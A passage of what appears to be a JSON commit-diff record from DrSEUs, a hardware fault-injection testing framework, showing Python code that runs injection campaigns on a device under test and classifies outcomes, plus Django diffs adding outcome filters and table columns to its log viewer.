self.debugger.aux.do_login()\n if options.command != 'new':\n self.send_dut_files(aux=True)\n if options.command == 'new':\n self.debugger.reset_dut()\n\n def __str__(self):\n string = ('DrSEUs Attributes:\\n\\tDebugger: '+str(self.debugger) +\n '\\n\\tDUT:\\t'+str(self.debugger.dut).replace('\\n\\t', '\\n\\t\\t'))\n if self.campaign_data['use_aux']:\n string += '\\n\\tAUX:\\t'+str(self.debugger.aux).replace('\\n\\t',\n '\\n\\t\\t')\n string += ('\\n\\tCampaign Information:\\n\\t\\tCampaign Number: ' +\n str(self.campaign_data['id'])+'\\n\\t\\tDUT Command: \\\"' +\n self.campaign_data['command']+'\\\"')\n if self.campaign_data['use_aux']:\n string += ('\\n\\t\\tAUX Command: \\\"' +\n self.campaign_data['aux_command']+'\\\"')\n string += ('\\n\\t\\t' +\n ('Host 'if self.campaign_data['use_simics'] else '') +\n 'Execution Time: ' +\n str(self.campaign_data['exec_time'])+' seconds')\n if self.campaign_data['use_simics']:\n string += ('\\n\\t\\tExecution Cycles: ' +\n '{:,}'.format(self.campaign_data['num_cycles']) +\n ' cycles\\n\\t\\tSimulated Time: ' +\n str(self.campaign_data['sim_time'])+' seconds')\n return string\n\n def close(self):\n if not self.campaign_data['use_simics']:\n self.debugger.close()\n\n def setup_campaign(self):\n files = []\n files.append(self.options.directory+'/'+self.options.application)\n if self.options.files:\n for file_ in self.options.files:\n files.append(self.options.directory+'/'+file_)\n os.makedirs('campaign-data/'+str(self.campaign_data['id'])+'/dut-files')\n for item in files:\n copy(item, 'campaign-data/'+str(self.campaign_data['id']) +\n '/dut-files/')\n if self.campaign_data['use_aux']:\n aux_files = []\n aux_files.append(self.options.directory+'/' +\n self.options.aux_application)\n if self.options.aux_files:\n for file_ in self.options.aux_files:\n aux_files.append(\n self.options.directory+'/'+file_)\n os.makedirs('campaign-data/'+str(self.campaign_data['id']) +\n '/aux-files')\n for item in aux_files:\n copy(item, 'campaign-data/'+str(self.campaign_data['id']) +\n '/aux-files/')\n aux_process = Thread(target=self.debugger.aux.send_files,\n args=(aux_files, ))\n aux_process.start()\n self.debugger.dut.send_files(files)\n if self.campaign_data['use_aux']:\n aux_process.join()\n aux_process = Thread(target=self.debugger.aux.command)\n aux_process.start()\n self.debugger.dut.command()\n if self.campaign_data['use_aux']:\n aux_process.join()\n self.debugger.time_application()\n if self.campaign_data['output_file']:\n if self.campaign_data['use_aux_output']:\n self.debugger.aux.get_file(\n self.campaign_data['output_file'],\n 'campaign-data/'+str(self.campaign_data['id'])+'/gold_' +\n self.campaign_data['output_file'])\n else:\n self.debugger.dut.get_file(\n self.campaign_data['output_file'],\n 'campaign-data/'+str(self.campaign_data['id'])+'/gold_' +\n self.campaign_data['output_file'])\n if self.campaign_data['use_simics']:\n self.debugger.close()\n with sql() as db:\n db.update_dict('campaign', self.campaign_data)\n self.close()\n\n def send_dut_files(self, aux=False):\n location = 'campaign-data/'+str(self.campaign_data['id'])\n if aux:\n location += '/aux-files/'\n else:\n location += '/dut-files/'\n files = []\n for item in os.listdir(location):\n files.append(location+item)\n if aux:\n self.debugger.aux.send_files(files)\n else:\n self.debugger.dut.send_files(files)\n\n def create_result(self, num_injections=0, outcome_category='Incomplete',\n outcome='Incomplete'):\n self.result_data.update({'aux_output': '',\n 'data_diff': None,\n 'debugger_output': '',\n 'detected_errors': None,\n 'dut_output': '',\n 'num_injections': num_injections,\n 'outcome_category': outcome_category,\n 'outcome': outcome,\n 'timestamp': None})\n if 'id' in self.result_data:\n del self.result_data['id']\n with sql() as db:\n db.insert_dict('result', self.result_data)\n self.result_data['id'] = db.cursor.lastrowid\n db.insert_dict('injection', {'result_id': self.result_data['id'],\n 'injection_number': 0})\n\n def __monitor_execution(self, latent_faults=0, persistent_faults=False):\n\n def check_output():\n missing_output = False\n result_folder = ('campaign-data/'+str(self.campaign_data['id'])+'/'\n 'results/'+str(self.result_data['id']))\n os.makedirs(result_folder)\n output_location = \\\n result_folder+'/'+self.campaign_data['output_file']\n gold_location = ('campaign-data/'+str(self.campaign_data['id'])+'/'\n 'gold_'+self.campaign_data['output_file'])\n if self.campaign_data['use_aux_output']:\n self.debugger.aux.get_file(self.campaign_data['output_file'],\n output_location)\n else:\n self.debugger.dut.get_file(self.campaign_data['output_file'],\n output_location)\n if not os.listdir(result_folder):\n os.rmdir(result_folder)\n missing_output = True\n else:\n with open(gold_location, 'rb') as solution:\n solutionContents = solution.read()\n with open(output_location, 'rb') as result:\n resultContents = result.read()\n self.result_data['data_diff'] = SequenceMatcher(\n None, solutionContents, resultContents).quick_ratio()\n if self.result_data['data_diff'] == 1.0:\n os.remove(output_location)\n if not os.listdir(result_folder):\n os.rmdir(result_folder)\n if self.campaign_data['use_aux_output']:\n self.debugger.aux.command('rm ' +\n self.campaign_data['output_file'])\n else:\n self.debugger.dut.command('rm ' +\n self.campaign_data['output_file'])\n if missing_output:\n raise DrSEUsError(DrSEUsError.missing_output)\n\n # def __monitor_execution(self, latent_faults=0, persistent_faults=False):\n outcome = ''\n outcome_category = ''\n if self.campaign_data['use_aux']:\n try:\n aux_buff = self.debugger.aux.read_until()\n except DrSEUsError as error:\n aux_buff = ''\n self.debugger.dut.serial.write('\\x03')\n outcome = error.type\n outcome_category = 'AUX execution error'\n else:\n if self.campaign_data['kill_dut']:\n self.debugger.dut.serial.write('\\x03')\n try:\n buff = self.debugger.dut.read_until()\n except DrSEUsError as error:\n buff = ''\n outcome = error.type\n outcome_category = 'Execution error'\n for line in buff.split('\\n'):\n if 'drseus_detected_errors:' in line:\n self.result_data['detected_errors'] = \\\n int(line.replace('drseus_detected_errors:', ''))\n break\n if self.campaign_data['use_aux']:\n for line in aux_buff.split('\\n'):\n if 'drseus_detected_errors:' in line:\n if self.result_data['detected_errors'] is None:\n self.result_data['detected_errors'] = 0\n self.result_data['detected_errors'] += \\\n int(line.replace('drseus_detected_errors:', ''))\n break\n if self.campaign_data['output_file'] and not outcome:\n try:\n check_output()\n except DrSEUsError as error:\n if error.type == DrSEUsError.scp_error:\n outcome = 'Error getting output file'\n outcome_category = 'SCP error'\n elif error.type == DrSEUsError.missing_output:\n outcome = 'Missing output file'\n outcome_category = 'SCP error'\n else:\n outcome = error.type\n outcome_category = 'Post execution error'\n if not outcome:\n if self.result_data['detected_errors']:\n if self.result_data['data_diff'] is None or \\\n self.result_data['data_diff'] < 1.0:\n outcome = 'Detected data error'\n outcome_category = 'Data error'\n elif self.result_data['data_diff'] is not None and \\\n self.result_data['data_diff'] == 1:\n outcome = 'Corrected data error'\n outcome_category = 'Data error'\n elif self.result_data['data_diff'] is not None and \\\n self.result_data['data_diff'] < 1.0:\n outcome = 'Silent data error'\n outcome_category = 'Data error'\n elif persistent_faults:\n outcome = 'Persistent faults'\n outcome_category = 'No error'\n elif latent_faults:\n outcome = 'Latent faults'\n outcome_category = 'No error'\n else:\n outcome = 'Masked faults'\n outcome_category = 'No error'\n return outcome, outcome_category\n\n def log_result(self):\n out = ''\n try:\n out += self.debugger.dut.serial.port+' '\n except AttributeError:\n pass\n out += (str(self.result_data['id'])+': ' +\n self.result_data['outcome_category']+' - ' +\n self.result_data['outcome'])\n if self.result_data['data_diff'] is not None and \\\n self.result_data['data_diff'] < 1.0:\n out += ' {0:.2f}%'.format(max(self.result_data['data_diff']*100,\n 99.99))\n print(colored(out, 'blue'))\n with sql() as db:\n db.cursor.execute('SELECT COUNT(*) FROM log_injection '\n 'WHERE result_id=?', (self.result_data['id'],))\n if db.cursor.fetchone()[0] > 1:\n db.cursor.execute('DELETE FROM log_injection WHERE '\n 'result_id=? AND injection_number=0',\n (self.result_data['id'],))\n db.update_dict('result', self.result_data)\n\n def inject_and_monitor(self, iteration_counter):\n while True:\n if iteration_counter is not None:\n with iteration_counter.get_lock():\n iteration = iteration_counter.value\n if iteration:\n iteration_counter.value -= 1\n else:\n break\n self.create_result(self.options.injections)\n if not self.campaign_data['use_simics']:\n attempts = 10\n for attempt in range(attempts):\n try:\n self.debugger.reset_dut()\n except Exception as error:\n with sql() as db:\n db.log_event_exception(\n self.result_data['id'],\n 'Debugger', # TODO: update source\n 'Error resetting DUT')\n print(colored(\n self.debugger.dut.serial.port+' ' +\n str(self.result_data['id'])+': '\n 'Error resetting DUT (attempt '+str(attempt+1) +\n '/'+str(attempts)+'): '+str(error), 'red'))\n if attempt < attempts-1:\n sleep(30)\n else:\n self.result_data.update({\n 'outcome_category': 'Debugger error',\n 'outcome': 'Error resetting dut'})\n self.log_result()\n self.close()\n return\n else:\n break\n try:\n self.send_dut_files()\n except DrSEUsError as error:\n self.result_data.update({\n 'outcome_category': error.type,\n 'outcome': 'Error sending files to DUT'})\n self.log_result()\n continue\n if self.campaign_data['use_aux'] and \\\n not self.campaign_data['use_simics']:\n self.debugger.aux.write('./'+self.campaign_data['aux_command'] +\n '\\n')\n try:\n latent_faults, persistent_faults = self.debugger.inject_faults()\n self.debugger.continue_dut()\n except DrSEUsError as error:\n self.result_data['outcome'] = error.type\n if self.campaign_data['use_simics']:\n self.result_data['outcome_category'] = 'Simics error'\n else:\n self.result_data['outcome_category'] = 'Debugger error'\n if not self.campaign_data['use_simics']:\n try:\n self.debugger.continue_dut()\n if self.campaign_data['use_aux']:\n aux_process = Thread(\n target=self.debugger.aux.read_until)\n aux_process.start()\n self.debugger.dut.read_until()\n if self.campaign_data['use_aux']:\n aux_process.join()\n except DrSEUsError:\n pass\n else:\n (self.result_data['outcome'],\n self.result_data['outcome_category']) = \\\n self.__monitor_execution(latent_faults, persistent_faults)\n if self.result_data['outcome'] == 'Latent faults' or \\\n (not self.campaign_data['use_simics'] and\n self.result_data['outcome'] == 'Masked faults'):\n if self.campaign_data['use_aux']:\n self.debugger.aux.write(\n './'+self.campaign_data['aux_command']+'\\n')\n self.debugger.dut.write('./'+self.campaign_data['command'] +\n '\\n')\n next_outcome = self.__monitor_execution()[0]\n if next_outcome != 'Masked faults':\n self.result_data.update({\n 'outcome_category': 'Post execution error',\n 'outcome': next_outcome})\n if self.campaign_data['use_simics']:\n try:\n self.debugger.close()\n except DrSEUsError as error:\n self.result_data.update({\n 'outcome_category': 'Simics error',\n 'outcome': error.type})\n finally:\n rmtree('simics-workspace/injected-checkpoints/' +\n str(self.campaign_data['id'])+'/' +\n str(self.result_data['id']))\n self.log_result()\n self.close()\n\n def supervise(self, iteration_counter, packet_capture):\n interrupted = False\n while not interrupted:\n with iteration_counter.get_lock():\n iteration = iteration_counter.value\n if iteration:\n iteration_counter.value -= 1\n else:\n break\n self.create_result()\n if packet_capture:\n data_dir = ('campaign-data/'+str(self.campaign_data['id']) +\n '/results/'+str(self.result_data['id']))\n os.makedirs(data_dir)\n capture_file = open(data_dir+'/capture.pcap', 'w')\n capture_process = Popen(\n ['ssh', 'p2020', 'tshark -F pcap -i eth1 -w -'],\n stderr=PIPE, stdout=capture_file)\n buff = ''\n while True:\n buff += capture_process.stderr.read(1)\n if buff[-len('Capturing on \\'eth1\\''):] == \\\n 'Capturing on \\'eth1\\'':\n break\n if self.campaign_data['use_aux']:\n self.debugger.aux.write('./'+self.campaign_data['aux_command'] +\n '\\n')\n self.debugger.dut.write('./'+self.campaign_data['command']+'\\n')\n try:\n (self.result_data['outcome'],\n self.result_data['outcome_category']) = \\\n self.__monitor_execution()\n except KeyboardInterrupt:\n if self.campaign_data['use_simics']:\n self.debugger.continue_dut()\n self.debugger.dut.serial.write('\\x03')\n self.debugger.dut.read_until()\n if self.campaign_data['use_aux']:\n self.debugger.aux.serial.write('\\x03')\n self.debugger.aux.read_until()\n self.result_data.update({\n 'outcome_category': 'Incomplete',\n 'outcome': 'Interrupted'})\n interrupted = True\n self.log_result()\n if packet_capture:\n os.system('ssh p2020 \\'killall tshark\\'')\n capture_process.wait()\n capture_file.close()\n"}, "/log/filters.py": {"changes": [{"diff": "\n help_text='')\n event_type = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n+ result__outcome = django_filters.MultipleChoiceFilter(\n+ label='Outcome',\n+ widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n+ result__outcome_category = django_filters.MultipleChoiceFilter(\n+ label='Outcome category',\n+ widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n source = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n \n class Meta:\n model = event\n- fields = ('source', 'event_type', 'description')\n+ fields = ('result__outcome_category', 'result__outcome', 'source',\n+ 'event_type', 'description')\n \n \n class simics_register_diff_filter(django_filters.FilterSe", "add": 8, "remove": 1, "filename": "/log/filters.py", "badparts": [" fields = ('source', 'event_type', 'description')"], "goodparts": [" result__outcome = django_filters.MultipleChoiceFilter(", " label='Outcome',", " widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')", " result__outcome_category = django_filters.MultipleChoiceFilter(", " label='Outcome category',", " widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')", " fields = ('result__outcome_category', 'result__outcome', 'source',", " 'event_type', 'description')"]}], "source": "\nfrom django.forms import SelectMultiple, Textarea import django_filters from re import split from.models import(event, injection, result, simics_register_diff) def fix_sort(string): return ''.join([text.zfill(5) if text.isdigit() else text.lower() for text in split('([0-9]+)', str(string))]) def fix_sort_list(list): return fix_sort(list[0]) def result_choices(campaign, attribute): choices=[] for item in result.objects.filter(campaign_id=campaign).values_list( attribute, flat=True).distinct(): if item is not None: choices.append((item, item)) return sorted(choices, key=fix_sort_list) class injection_filter(django_filters.FilterSet): def __init__(self, *args, **kwargs): campaign=kwargs['campaign'] del kwargs['campaign'] super(injection_filter, self).__init__(*args, **kwargs) bit_choices=self.injection_choices(campaign, 'bit') self.filters['bit'].extra.update(choices=bit_choices) self.filters['bit'].widget.attrs['size']=min(len(bit_choices), 10) checkpoint_number_choices=self.injection_choices( campaign, 'checkpoint_number') self.filters['checkpoint_number'].extra.update( choices=checkpoint_number_choices) self.filters['checkpoint_number'].widget.attrs['size']=min( len(checkpoint_number_choices), 10) field_choices=self.injection_choices(campaign, 'field') self.filters['field'].extra.update(choices=field_choices) self.filters['field'].widget.attrs['size']=min(len(field_choices), 10) register_choices=self.injection_choices(campaign, 'register') self.filters['register'].extra.update(choices=register_choices) self.filters['register'].widget.attrs['size']=min( len(register_choices), 10) register_index_choices=self.injection_choices( campaign, 'register_index') self.filters['register_index'].extra.update( choices=register_index_choices) self.filters['register_index'].widget.attrs['size']=min( len(register_index_choices), 10) num_injections_choices=result_choices(campaign, 'num_injections') self.filters['result__num_injections'].extra.update( choices=num_injections_choices) self.filters['result__num_injections'].widget.attrs['size']=min( len(num_injections_choices), 10) outcome_choices=result_choices(campaign, 'outcome') self.filters['result__outcome'].extra.update(choices=outcome_choices) self.filters['result__outcome'].widget.attrs['size']=min( len(outcome_choices), 10) outcome_category_choices=result_choices(campaign, 'outcome_category') self.filters['result__outcome_category'].extra.update( choices=outcome_category_choices) self.filters['result__outcome_category'].widget.attrs['size']=min( len(outcome_category_choices), 10) self.filters['success'].extra.update(help_text='') target_choices=self.injection_choices(campaign, 'target') self.filters['target'].extra.update(choices=target_choices) self.filters['target'].widget.attrs['size']=min( len(target_choices), 10) target_index_choices=self.injection_choices(campaign, 'target_index') self.filters['target_index'].extra.update(choices=target_index_choices) self.filters['target_index'].widget.attrs['size']=min( len(target_index_choices), 10) def injection_choices(self, campaign, attribute): choices=[] for item in injection.objects.filter( result__campaign_id=campaign).values_list( attribute, flat=True).distinct(): if item is not None: choices.append((item, item)) return sorted(choices, key=fix_sort_list) bit=django_filters.MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') checkpoint_number=django_filters.MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') field=django_filters.MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') register=django_filters.MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') register_index=django_filters.MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') result__aux_output=django_filters.CharFilter( label='AUX output', lookup_type='icontains', widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}), help_text='') result__data_diff_gt=django_filters.NumberFilter( name='result__data_diff', label='Data diff(>)', lookup_type='gt', help_text='') result__data_diff_lt=django_filters.NumberFilter( name='result__data_diff', label='Data diff(<)', lookup_type='lt', help_text='') result__debugger_output=django_filters.CharFilter( label='Debugger output', lookup_type='icontains', widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}), help_text='') result__dut_output=django_filters.CharFilter( label='DUT output', lookup_type='icontains', widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}), help_text='') result__num_injections=django_filters.MultipleChoiceFilter( label='Number of injections', widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') result__outcome=django_filters.MultipleChoiceFilter( label='Outcome', widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') result__outcome_category=django_filters.MultipleChoiceFilter( label='Outcome category', widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') target=django_filters.MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') target_index=django_filters.MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') time_gt=django_filters.NumberFilter( name='time', label='Time(>)', lookup_type='gt', help_text='') time_lt=django_filters.NumberFilter( name='time', label='Time(<)', lookup_type='lt', help_text='') class Meta: model=injection fields=('result__outcome_category', 'result__outcome', 'result__data_diff_gt', 'result__data_diff_lt', 'result__dut_output', 'result__aux_output', 'result__debugger_output', 'result__num_injections', 'checkpoint_number', 'time_gt', 'time_lt', 'target', 'target_index', 'register', 'register_index', 'bit', 'field', 'success') class event_filter(django_filters.FilterSet): def __init__(self, *args, **kwargs): campaign=kwargs['campaign'] del kwargs['campaign'] super(event_filter, self).__init__(*args, **kwargs) event_type_choices=self.event_choices(campaign, 'event_type') self.filters['event_type'].extra.update(choices=event_type_choices) self.filters['event_type'].widget.attrs['size']=min( len(event_type_choices), 10) source_choices=self.event_choices(campaign, 'source') self.filters['source'].extra.update(choices=source_choices) self.filters['source'].widget.attrs['size']=min( len(source_choices), 10) def event_choices(self, campaign, attribute): choices=[] for item in event.objects.filter( result__campaign_id=campaign).values_list( attribute, flat=True).distinct(): if item is not None: choices.append((item, item)) return sorted(choices, key=fix_sort_list) description=django_filters.CharFilter( lookup_type='icontains', widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}), help_text='') event_type=django_filters.MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') source=django_filters.MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') class Meta: model=event fields=('source', 'event_type', 'description') class simics_register_diff_filter(django_filters.FilterSet): def __init__(self, *args, **kwargs): self.campaign=kwargs['campaign'] del kwargs['campaign'] super(simics_register_diff_filter, self).__init__(*args, **kwargs) self.queryset=kwargs['queryset'] checkpoint_number_choices=self.simics_register_diff_choices( 'checkpoint_number') self.filters['checkpoint_number'].extra.update( choices=checkpoint_number_choices) self.filters['checkpoint_number'].widget.attrs['size']=min( len(checkpoint_number_choices), 10) register_choices=self.simics_register_diff_choices('register') self.filters['register'].extra.update(choices=register_choices) self.filters['register'].widget.attrs['size']=min( len(register_choices), 10) def simics_register_diff_choices(self, attribute): choices=[] for item in self.queryset.filter( result__campaign_id=self.campaign ).values_list(attribute, flat=True).distinct(): choices.append((item, item)) return sorted(choices, key=fix_sort_list) checkpoint_number=django_filters.MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') register=django_filters.MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') class Meta: model=simics_register_diff fields=('checkpoint_number', 'register') ", "sourceWithComments": "from django.forms import SelectMultiple, Textarea\nimport django_filters\nfrom re import split\n\nfrom .models import (event, injection, result, simics_register_diff)\n\n\ndef fix_sort(string):\n return ''.join([text.zfill(5) if text.isdigit() else text.lower() for\n text in split('([0-9]+)', str(string))])\n\n\ndef fix_sort_list(list):\n return fix_sort(list[0])\n\n\ndef result_choices(campaign, attribute):\n choices = []\n for item in result.objects.filter(campaign_id=campaign).values_list(\n attribute, flat=True).distinct():\n if item is not None:\n choices.append((item, item))\n return sorted(choices, key=fix_sort_list)\n\n\nclass injection_filter(django_filters.FilterSet):\n def __init__(self, *args, **kwargs):\n campaign = kwargs['campaign']\n del kwargs['campaign']\n super(injection_filter, self).__init__(*args, **kwargs)\n bit_choices = self.injection_choices(campaign, 'bit')\n self.filters['bit'].extra.update(choices=bit_choices)\n self.filters['bit'].widget.attrs['size'] = min(len(bit_choices), 10)\n checkpoint_number_choices = self.injection_choices(\n campaign, 'checkpoint_number')\n self.filters['checkpoint_number'].extra.update(\n choices=checkpoint_number_choices)\n self.filters['checkpoint_number'].widget.attrs['size'] = min(\n len(checkpoint_number_choices), 10)\n field_choices = self.injection_choices(campaign, 'field')\n self.filters['field'].extra.update(choices=field_choices)\n self.filters['field'].widget.attrs['size'] = min(len(field_choices), 10)\n register_choices = self.injection_choices(campaign, 'register')\n self.filters['register'].extra.update(choices=register_choices)\n self.filters['register'].widget.attrs['size'] = min(\n len(register_choices), 10)\n register_index_choices = self.injection_choices(\n campaign, 'register_index')\n self.filters['register_index'].extra.update(\n choices=register_index_choices)\n self.filters['register_index'].widget.attrs['size'] = min(\n len(register_index_choices), 10)\n num_injections_choices = result_choices(campaign, 'num_injections')\n self.filters['result__num_injections'].extra.update(\n choices=num_injections_choices)\n self.filters['result__num_injections'].widget.attrs['size'] = min(\n len(num_injections_choices), 10)\n outcome_choices = result_choices(campaign, 'outcome')\n self.filters['result__outcome'].extra.update(choices=outcome_choices)\n self.filters['result__outcome'].widget.attrs['size'] = min(\n len(outcome_choices), 10)\n outcome_category_choices = result_choices(campaign, 'outcome_category')\n self.filters['result__outcome_category'].extra.update(\n choices=outcome_category_choices)\n self.filters['result__outcome_category'].widget.attrs['size'] = min(\n len(outcome_category_choices), 10)\n self.filters['success'].extra.update(help_text='')\n target_choices = self.injection_choices(campaign, 'target')\n self.filters['target'].extra.update(choices=target_choices)\n self.filters['target'].widget.attrs['size'] = min(\n len(target_choices), 10)\n target_index_choices = self.injection_choices(campaign, 'target_index')\n self.filters['target_index'].extra.update(choices=target_index_choices)\n self.filters['target_index'].widget.attrs['size'] = min(\n len(target_index_choices), 10)\n\n def injection_choices(self, campaign, attribute):\n choices = []\n for item in injection.objects.filter(\n result__campaign_id=campaign).values_list(\n attribute, flat=True).distinct():\n if item is not None:\n choices.append((item, item))\n return sorted(choices, key=fix_sort_list)\n\n bit = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n checkpoint_number = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n field = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n register = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n register_index = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n result__aux_output = django_filters.CharFilter(\n label='AUX output',\n lookup_type='icontains',\n widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}),\n help_text='')\n result__data_diff_gt = django_filters.NumberFilter(\n name='result__data_diff', label='Data diff (>)', lookup_type='gt',\n help_text='')\n result__data_diff_lt = django_filters.NumberFilter(\n name='result__data_diff', label='Data diff (<)', lookup_type='lt',\n help_text='')\n result__debugger_output = django_filters.CharFilter(\n label='Debugger output',\n lookup_type='icontains',\n widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}),\n help_text='')\n result__dut_output = django_filters.CharFilter(\n label='DUT output',\n lookup_type='icontains',\n widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}),\n help_text='')\n result__num_injections = django_filters.MultipleChoiceFilter(\n label='Number of injections',\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n result__outcome = django_filters.MultipleChoiceFilter(\n label='Outcome',\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n result__outcome_category = django_filters.MultipleChoiceFilter(\n label='Outcome category',\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n target = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n target_index = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n time_gt = django_filters.NumberFilter(\n name='time', label='Time (>)', lookup_type='gt', help_text='')\n time_lt = django_filters.NumberFilter(\n name='time', label='Time (<)', lookup_type='lt', help_text='')\n\n class Meta:\n model = injection\n fields = ('result__outcome_category', 'result__outcome',\n 'result__data_diff_gt', 'result__data_diff_lt',\n 'result__dut_output', 'result__aux_output',\n 'result__debugger_output', 'result__num_injections',\n 'checkpoint_number', 'time_gt', 'time_lt', 'target',\n 'target_index', 'register', 'register_index', 'bit', 'field',\n 'success')\n\n\nclass event_filter(django_filters.FilterSet):\n def __init__(self, *args, **kwargs):\n campaign = kwargs['campaign']\n del kwargs['campaign']\n super(event_filter, self).__init__(*args, **kwargs)\n event_type_choices = self.event_choices(campaign, 'event_type')\n self.filters['event_type'].extra.update(choices=event_type_choices)\n self.filters['event_type'].widget.attrs['size'] = min(\n len(event_type_choices), 10)\n source_choices = self.event_choices(campaign, 'source')\n self.filters['source'].extra.update(choices=source_choices)\n self.filters['source'].widget.attrs['size'] = min(\n len(source_choices), 10)\n\n def event_choices(self, campaign, attribute):\n choices = []\n for item in event.objects.filter(\n result__campaign_id=campaign).values_list(\n attribute, flat=True).distinct():\n if item is not None:\n choices.append((item, item))\n return sorted(choices, key=fix_sort_list)\n\n description = django_filters.CharFilter(\n lookup_type='icontains',\n widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}),\n help_text='')\n event_type = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n source = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n\n class Meta:\n model = event\n fields = ('source', 'event_type', 'description')\n\n\nclass simics_register_diff_filter(django_filters.FilterSet):\n def __init__(self, *args, **kwargs):\n self.campaign = kwargs['campaign']\n del kwargs['campaign']\n super(simics_register_diff_filter, self).__init__(*args, **kwargs)\n self.queryset = kwargs['queryset']\n checkpoint_number_choices = self.simics_register_diff_choices(\n 'checkpoint_number')\n self.filters['checkpoint_number'].extra.update(\n choices=checkpoint_number_choices)\n self.filters['checkpoint_number'].widget.attrs['size'] = min(\n len(checkpoint_number_choices), 10)\n register_choices = self.simics_register_diff_choices('register')\n self.filters['register'].extra.update(choices=register_choices)\n self.filters['register'].widget.attrs['size'] = min(\n len(register_choices), 10)\n\n def simics_register_diff_choices(self, attribute):\n choices = []\n for item in self.queryset.filter(\n result__campaign_id=self.campaign\n ).values_list(attribute, flat=True).distinct():\n choices.append((item, item))\n return sorted(choices, key=fix_sort_list)\n\n checkpoint_number = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n register = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n\n class Meta:\n model = simics_register_diff\n fields = ('checkpoint_number', 'register')\n"}, "/log/tables.py": {"changes": [{"diff": "\n attrs = {\"class\": \"paleblue\"}\n model = result\n fields = ('select', 'id_', 'timestamp', 'outcome_category', 'outcome',\n- 'data_diff', 'detected_errors', 'num_injections', 'targets',\n- 'registers')\n+ 'data_diff', 'detected_errors', 'events', 'num_injections',\n+ 'targets', 'registers', 'injection_success')\n order_by = 'id_'", "add": 2, "remove": 2, "filename": "/log/tables.py", "badparts": [" 'data_diff', 'detected_errors', 'num_injections', 'targets',", " 'registers')"], "goodparts": [" 'data_diff', 'detected_errors', 'events', 'num_injections',", " 'targets', 'registers', 'injection_success')"]}], "source": "\nimport django_tables2 as tables from.models import(campaign, event, injection, result, simics_memory_diff, simics_register_diff) class campaigns_table(tables.Table): id_=tables.TemplateColumn( '{{ value}}', accessor='id') num_cycles=tables.Column() results=tables.Column(empty_values=(), orderable=False) def render_num_cycles(self, record): return '{:,}'.format(record.num_cycles) def render_results(self, record): return '{:,}'.format( result.objects.filter(campaign=record.id).count()) class Meta: attrs={\"class\": \"paleblue\"} model=campaign fields=('id_', 'results', 'command', 'aux_command', 'architecture', 'use_simics', 'exec_time', 'sim_time', 'num_cycles', 'timestamp') order_by='id_' class campaign_table(campaigns_table): num_checkpoints=tables.Column() cycles_between=tables.Column() results=tables.Column(empty_values=(), orderable=False) def render_num_checkpoints(self, record): return '{:,}'.format(record.num_checkpoints) def render_cycles_between(self, record): return '{:,}'.format(record.cycles_between) class Meta: attrs={\"class\": \"paleblue\"} model=campaign exclude=('id_',) fields=('id', 'timestamp', 'results', 'command', 'aux_command', 'architecture', 'use_simics', 'use_aux', 'exec_time', 'sim_time', 'num_cycles', 'output_file', 'num_checkpoints', 'cycles_between') class results_table(tables.Table): events=tables.Column(empty_values=(), orderable=False) id_=tables.TemplateColumn( '{{ value}}', accessor='id') registers=tables.Column(empty_values=(), orderable=False) select=tables.TemplateColumn( '', verbose_name='', orderable=False) timestamp=tables.DateTimeColumn(format='m/d/Y H:i:s.u') targets=tables.Column(empty_values=(), orderable=False) def render_events(self, record): return 